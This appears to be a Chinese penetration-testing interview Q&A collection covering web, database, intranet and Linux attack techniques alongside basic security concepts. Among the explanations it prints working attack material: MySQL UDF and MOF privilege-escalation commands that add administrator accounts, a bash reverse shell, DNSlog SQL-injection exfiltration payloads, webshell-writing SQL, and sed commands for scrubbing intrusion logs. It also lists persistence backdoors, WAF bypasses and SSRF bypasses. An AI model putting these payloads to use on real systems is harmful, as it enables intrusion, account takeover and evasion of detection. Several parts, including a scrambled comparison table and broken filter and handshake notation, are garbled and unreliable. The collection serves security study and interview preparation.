单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

68、中间人攻击

中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

69、ARP欺骗

原理

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

70、DDOS

1、DDOS原理

利用合理的请求造成资源过载,导致服务不可用

syn洪流的原理

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

2、DOSS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

71、提权

MySQL两种提权方式

udf提权,mof提权

MySQL_UDF提取

要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

MySQL mof提权

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

72、特殊漏洞

1、Struts2-045

2、Redis未授权

产生原因

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:

a、redis服务以root账户运行
b、redis无密码或弱密码进行认证
c、redis监听在0.0.0.0公网上

方法:

a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
b、上传SSH公钥获得SSH登录权限
c、通过crontab反弹shell
d、slave主从模式利用

修复

密码验证
降权运行
限制ip/修改端口

3、Jenkins未授权访问

4、MongoDB未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

5、Memcache未授权访问

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用

a、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

b、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

漏洞加固

a、设置memchached只允许本地访问 b、禁止外网访问Memcached 11211端口 c、编译时加上–enable-sasl,启用SASL认证

6、FFMPEG本地文件读取

原理

通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

73、安全知识

1、WEB

常见WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面

涉及到Jsonp的安全攻防内容

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持,跨域劫持敏感信息,页面类似于

function wooyun(v){
alert(v.username);
}

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

2、PHP

php中命令执行涉及到的函数

代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。
PHP弱类型

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

0e开头的字符串等于0

3、数据库

各种数据库文件存放的位置

mysql:

/usr/local/mysql/data/ 

C:\ProgramData\MySQL\MySQL Server 5.6\Data\

oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

4、系统

如何清理日志

meterpreter: clearev
入侵 Linux 服务器后需要清除哪些日志?

web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登录日志清除 /var/log/secure
LINUX
查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

netstat -antp` `ss -l

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

ls /proc

系统信息,硬件信息,内核版本,加载的模块,进程
linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

/etc/ssh/sshd___configiptables配置
如何一条命令查看文件内容最后一百行

tail -n 100 filename

Windows
如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

5、密码学

AES/DES的具体工作步骤
RSA算法

加密:
密文=明文^EmodN

RSA加密是对明文的E次方后除以N后求余数的过程
公钥=(E,N)

解密:
明文=密文^DmodN 私钥=(D,N)

三个参数n,e1,e2

n是两个大质数p,q的积
分组密码的加密模式
如何生成一个安全的随机数?

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。
SSL握手过程

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。
对称加密与非对称加密的不同,分别用在哪些方面

6、TCP/IP

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。
TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证
https的建立过程

a、客户端发送请求到服务器端
b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
e、客户端使用共享密钥解密数据
f、SSL加密建立

7、流量分析

wireshark简单的过滤规则

过滤ip:

过滤源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1;

过滤端口:

过滤80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod=="GET/POST"

8、防火墙

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

74、Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

(2)此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

(3)Mysql 中利用 load_file() 构造payload

*' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)# *

(4)Mssql 下利用 master..xp_dirtree 构造payload

*DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); *

75、XXE 漏洞原理,代码审计如何寻找

(1)XXE (XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者通过构造恶意内容,就可能进行任意文件读取、系统命令执行、内网端口探测、内网网站攻击等操作。

支持的协议如下图:

渗透测试 QA 收集1

Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)

(2)审计函数,涉及到XML文件处理,都可能造成 XXE

(3)防御方法:禁用外部实体

76、SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

(1)利用进制转换

(2)利用DNS解析

(3)利用句号(127。0。0。1)

(4)利用[::](http://[::]:80/);

(5)利用@(http://example.com@127.0.0.1);

(6)利用短地址(http://dwz.cn/11SMa);

(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)

77、应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件

(1)任务管理器netstat -anp寻找异常进程PID看端口信息然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),

禁用可疑的服务项。

(2)windows还可以用wmic分析进程参数

78、struts2框架漏洞原理

1.struts是java的web框架
2.采取OGNL表达式,处理view层数据字符串到controller层转换成java对象
3.重点关注的编号加粗如下
S2-057 影响范围非常小
S2-048 影响范围非常小
S2-046 和S2-045一样
S2-045 影响范围较大----通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显
S2-037 影响范围小
S2-032 影响范围小
S2-020 影响范围小
S2-019 影响范围一般
S2-016 影响范围非常大
S2-013 S2-016范围内
S2-009 S2-016范围内
S2-005 S2-016范围内

79、JAVA反序列化原理

1.Java序列化指Java对象转换为字节序列的过程
2.Java反序列化指字节序列恢复为Java对象的过程
3.Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事件就层出不穷。
4.在Java中,利用ObjectInputStream的readObject方法进行对象读取
5.可以深入了解 ysoserial有哪些gadgets

80、问:cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?

1.CORS全称是"跨域资源共享"(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出XMLHttpRequest请求
2.Origin为*的时候,使用curl测试CORS,
curl -H “Origin: https://evil.com” -I
再寻找的api接口是否有敏感信息泄漏。
3.同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法:
document.domain属性
片段识别符(URL后加#号)
window.name
跨文档通信API
JSONP
CORS
WebSockets
4.jsonp跨域利用:获取JSON数据并编码发送到远程服务器上

81、phar协议如何利用,php伪协议input与post数据包发送有什么区别?

1.可以Bypass一些waf,绕过上传限制
2.Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存
3.区别
3-1. application/x-www-form-urlencoded 或 multipart/form-data时
php://input 中是原始数据。
$_POST 中是关联数组,且没有上传控件的内容。
3-2.enctype="multipart/form-data" 时
php://input 是无效的。
3-3.Content-Type = "text/plain"时
$_POST 不能获取post的数据, php://input可以。

82、内网服务器,如何进行信息收集

1.手动,用一些小工具(批量看存活)
new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各类服务的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问
2.扫描器
主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码
3.留后门,抓信息

83、内网黄金票据、白银票据的区别和利用方式

1.白银票据:抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
黄金票据:直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
2.通过mimkatz执行,导出域控中账号的Hash

84、docker远程api漏洞原理

1.docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,执行docker命令。
2.通过docker client执行目标服务器容器命令,docker是以root权限运行的
1.有运行ssh服务,/root/.ssh目录挂载到container内,,然后修改/.ssh/authorized_keys 文件,把自己的public key写进去
2.没有运行ssh服务,利用挂载写crontab定时任务,反弹一个shell

85、ssrf怎么用redis写shell

1.SSRF服务端请求伪造

1.对内网扫描,获取 banner
2.攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
3.利用协议读取本地文件
4.云计算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API

2.如webligic SSRF漏洞

通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a

86、预编译能否100%防sql注入,如果不能,写一个

不能。
1.
类似于宽字节注入
2.
参数name是一串数组,PDO不会生效
3.
PDO对DDL不生效

87、WAF 绕过

1 注释替换空格
2 字符集绕过
3 chunked绕过
4 上传请求 multipart 绕过
5.参数污染

88、SQL注入构造payload

1.布尔型盲注

1.mysql :
'and (length(database()))>10 --+
2.oracle:
' and 1=(select decode(user,'SCOTT',1,0) from dual) --

2.时间型盲注

and if(ascii(substr((select database()),1,1))>115,1,sleep(5))

3.利用报错回显

1.extractvalue
and extractvalue(1,concat(0x7e,(select database())))
2.updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

89、UDF提权原理

利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd

90、XSS弹窗函数及常见的 XSS 绕过策略

1.alert,confirm,prompt三种函数

2.绕过策略

1.大小写混合
2.双写
3.编码
4. fuzz 低频使用标签


5. fuzz 低频使用函数 ontoggle 等
6.渗透测试 QA 收集2
7.%0a或者%0d绕过

91、Windows cmd 如何下载文件

答:
1.certutil.exe
2.powershell
3.bitsadmin
4.vbs
5.ftp

92、SVN/GIT源代码泄露**

答:
(1)在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息
/.git/config
(2)使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞
/.svn/entries

93、reverse_tcp 和 bind_tcp 的区别

1.reverse_tcp
木马会主动连接目标服务器
2.bind_tcp
木马会监听本地的端口

94、什么是fastjson,有哪些漏洞?

1.Fastjson是Alibaba开发的Java语言编写的高性能JSON库
2.攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE

3.fastjson漏洞历史

1.fastjson-1.2.24
(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)
2.fastjson-1.248以下
(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
3.fastjson-1.2.60以下
(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

95、漏洞的理解

1.Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688)
该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey

2.Apache Tomcat 文件包含漏洞(CVE-2020-1938)
默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE)

3.Weblogic IIOP反序列化漏洞(CVE-2020-2551)
weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击

4.Apache Solr远程代码执行(CVE-2019-12409)
默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX RMI远程代码执行

5.SHIRO-550 反序列化漏洞
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

6.SHIRO-721反序列化漏洞
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击
泛微Ecology OA SQL注入漏洞
validate.jsp接口的SQL注入,/cpt/manage/validate.jsp
泛微ecology OA系统接口存在数据库配置信息泄露
/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密

7.Confluence本地文件泄露漏洞(CVE-2019-3394)
catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF下

8.Apache Dubbo反序列化漏洞(CVE-2019-17564)
当HTTP remoting 开启的时候,存在反序列化漏洞

96、MySQL写WebShell有几种方式,利用条件

一、
 union select 后写入
 lines terminated by 写入
 lines starting by 写入
 fields terminated by 写入
 COLUMNS terminated by 写入
二、
root权限
GPC关闭(能使用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有create、insert、select的权限

97、phpmyadmin写sehll的方法

一、常规导入shell的操作
 创建数据表导出shell
 CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
 INSERT INTO `mysql`.`shadow9` (`content` ) VALUES ('');
 SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\90sec.php';
 DROP TABLE IF EXISTS `shadow9`;
二、一句话导出shell:
select '' into outfile 'c:/phpstudy/www/90sec.php';  
 select '' into outfile 'c:\\phpstudy\\www\\90sec.php';
 select '' into dumpfile 'c:\\phpstudy\\www\\bypass.php';
三、日志备份获取shell
show global variables like "%genera%";          //查询general_log配置
 set global general_log='on';              //开启general log模式
 SET global general_log_file='D:/phpStudy/WWW/cmd.php';    //设置日志文件保存路径
 SELECT '';              //phpinfo()写入日志文件
 set global general_log='off';              //关闭general_log模式

98、权限维持的方法

 留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,

windows:

 1.替换系统文件类(shift后门,放大镜后门)
 2.修改注册表类
 自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls注册表项、AppInit_DLLs注册表项、文件关联、用户登陆初始化、xx.Netsh Helper DLL
 3.文件类
 自启动文件夹、office Word StartUp劫持
 4.计划任务
 schtasks 、WMI、bitsadmin

Linux

 1.预加载型动态链接库后门
 2.strace后门
 3.SSH 后门
 4.SUID后门
 5.inetd服务后门
 6.协议后门
 7.vim后门
 8.PAM后门
 9.进程注入
 10.Rootkit
 11.端口复用

MSF权限维持

 1.Persistence模块
 2.Metsvc 模块

Powershell权限维持

CS权限维持

 SC命令

99、在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
用邮箱做关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。

100、什么是Kali Linux?

这是用于渗透测试器的基于Debian的Linux操作系统, 带有许多开源渗透测试工具。它是由开发BackTrack的组织(进攻性安全)提供给我们的。 Kali Linux是BackTrack的升级版本。

101、什么是Linux内核?

它是Linux操作系统的主要组件, 并且是计算机硬件与其进程之间的核心接口。它在两者之间进行通信, 从而尽可能高效地管理资源。

内核有四个工作:

内存管理:跟踪使用的内存量。

进程管理:确定哪个进程可以使用CPU, 何时使用以及持续多长时间。

设备驱动程序:它充当硬件和进程之间的中介器/解释器。

系统调用和安全性:它接收来自流程的服务请求。

102、Linux的组成部分是什么?

Linux体系结构具有四个组成部分:

硬件:RAM, HDD, CPU共同构成LINUX操作系统的硬件层。
内核:它是Linux操作系统的核心部分。它负责LINUX OS中的许多活动。有两种类型的内核-Monolithic和MicroKernel。
Shell:它是用户和内核之间的接口。
实用程序:可以从系统实用程序中使用功能。

103、使用哪个命令检查占用的内存?

我们可以使用Free命令来检查Linux上的内存使用情况。

104、什么是grep命令?

Grep命令用于搜索文本或在给定文件中搜索包含与给定字符串或单词匹配的行。

105、什么是渗透测试?

渗透测试是一种安全实践, 网络安全专家尝试查找和利用计算机系统中的漏洞。渗透测试的原因是要确定攻击者可以利用的系统防御中的任何薄弱环节。

106、进行渗透测试的目的是什么?

进行渗透测试的目标是:

测试组织制定和实施的安全策略的遵守情况。
测试员工的主动性和对他们所处安全环境的意识。
确保业务实体不会面临大规模的安全漏洞。

107、漏洞测试和渗透测试有什么区别?

在漏洞测试中, 我们只能扫描IT基础架构任何组件中可能存在的弱点。而在渗透测试中, 我们将检查全面的网络攻击或一系列网络攻击, 以明确发现IT安全工程师尚未发现的任何差距。

108、渗透测试方法有哪些?

渗透测试方法有以下三种:

黑匣子测试:
白盒测试
灰盒测试

109、什么是跨站点脚本?

这是一种网络攻击, 可以将恶意代码或脚本秘密注入受信任的网站。当攻击者使用基于Web的易受攻击的应用程序插入恶意代码行时, 通常会发生这些攻击。当来宾受害者运行此特定应用程序时, 计算机将被感染, 并可用于访问敏感信息和数据。

110、什么是嗅探和欺骗?

窃听某人的对话或通过网络流量捕获用户名/密码之类的数据称为嗅探, 而欺骗则冒充他人。在这种情况下, 攻击会通过网络发送伪造的数据包以抢夺与受害者的连接。

111、什么是DDos攻击?

这是一种网络攻击, 攻击者试图通过暂时或无限期地中断连接到Internet的主机的服务, 使目标用户无法使用机器或网络资源。

112、什么是Diffie-Hellman公钥交换?

它是一种通过公共通道交换加密密钥的方法, 并且是最早的公共密钥协议之一。它用于保护各种Internet服务。

113、什么是密码学?

有关保护信息和进行通信的研究主要是为了保护数据免受第三方的侵害, 而该第三方不是该数据所不希望的。

114、防火墙的用途是什么?

它是设置在系统/网络边界上的网络安全系统, 用于监视和控制网络流量。防火墙通常用于保护设备或网络免受病毒, 蠕虫, 恶意软件等的侵害。防火墙也可以用于防止远程访问和内容过滤。

115、什么是traceroute?

它是显示数据包路径的工具。它将显示数据包通过的所有路由。当我们的数据包没有到达目的地时, 我们可以使用它来检测故障点。

116、可以从Web应用程序接收哪些响应代码?

响应代码分为五类:

信息响应(100-199)
成功回应(200-299)
重定向(300-399)
客户端错误(400-499)
服务器错误(500-599)

117、Kali Linux是否支持我的$ wireless_card?

这取决于卡的芯片组和驱动程序。如果内核支持你的驱动程序, 则支持你的卡。

118、Armitage不显示数据库主机的原因?

这背后有三个可能的原因:

如果你正在使用Metasploit Framework的工作区。因为Armitage与Metasploit Framework的工作区不兼容。我们必须将此保留为默认值。
如果Armitage使用的数据库配置与Metasploit Framework不同, 则由Metasploit Framework环境中的database.yml文件驱动。
第三个原因, 如果Metasploit设置了两个默认工作区。

119、我们如何在Kali Linux上运行Armitage?

Armitage尚未与Kali Linux关联。它在Kali Linux存储库中。要在Kali Linux上运行Armitage, 我们需要使用apt-get install Armitage安装它。

120、如果你在Kali Linux上遇到数据库错误, 该如何解决?

首先, 我们需要确保数据库正在运行。通过使用服务postgresql启动。之后, 我们可能需要询问kali重新创建Metasploit框架数据库:服务metasploit启动和服务metasploit停止。

121、如何对互联网地址使用Armitage?

如果要对Internet主机使用此工具, 则必须确保已获得系统所有者的许可书。

122、哪种平台最适合Metasploit, Linux或Windows?

早期, 较早版本的Metasploit下载大多数是Windows平台。但是现在仅部分支持Windows。在我的建议下, 我们将使用Linux OS, 因为一些重要功能(例如数据库支持和无线漏洞利用)首先出现在Linux中, 然后出现在Windows中。

123、什么是透视?

Metasploit使用此技术将流量从受害计算机路由到黑客机器无法访问的其他网络。

124、你如何保护服务器?

我们应该使用安全FTP而不是普通FTP
使用SSH代替telnet
使用安全电子邮件连接(POP3S / IMAPS / SMTPS)
使用SSL(HTTPS)保护所有Web管理区域
我们应该使用VPN。
在所有端点(包括服务器和台式机)上使用防火墙。

125、为什么DNS监控很重要?

DNS在企业中的最终用户如何连接到Internet方面起着至关重要的作用。客户端设备与域建立的所有连接都记录在DNS日志中。检查客户端设备与我们的本地递归解析器之间的DNS流量可能会发现大量信息, 需要进行法医学分析。

126、编码, 加密和哈希之间的区别?

Encoding    Encryption    Hashing
加密是一种仅允许授权人员访问的技术。它是一种传输私有数据的编码技术, 例如-通过Internet发送用户名和密码的组合以进行电子邮件登录。编码算法有两种类型-一种是对称算法, 另一种是非对称算法。    在散列技术中, 使用某种散列函数将数据转换为散列, 散列函数可以是从字符串或文本生成的任何数字。一些哈希算法是MD5, SHA256。数据散列后, 就无法恢复。

127、我们如何加强用户身份验证?

以下是通过保留用户体验来增强用户身份验证的一些建议。

通过执行字典检查, 我们确保用户不能选择常用单词作为其密码。
我们需要一个包含数字字符的强用户名, 因为用户名是登录凭据中黑客最容易访问的部分。
除非用户可以通过其他方式进行身份验证, 否则我们应将登录尝试失败的次数限制为三个, 并暂时中止帐户访问。

128、云和本地网络安全之间的区别。

On-Premises
在内部部署中, 只有端到端的安全责任。
它已断开安全工具的连接:通常不由API驱动。
它具有静态资源和基于边界的安全边界。
它很少是自动化的。
它是由IT驱动的。

129、网络入侵攻击有哪些不同阶段?

网络入侵攻击遵循一般结构。该结构包括以下三个阶段:

目标:任何项目或黑客行为的第一件事就是目标。例如, DDoS攻击的目标与系统访问攻击的目标不同。
侦查:这是黑客使用各种资源收集有关目标网络或系统的信息的阶段。
攻击:在此阶段, 入侵者开始尝试访问网络上的网络和系统资源。一旦入侵者获得对网络上主机的访问权限, 该主机就被描述为受到威胁。
 

 

 

 

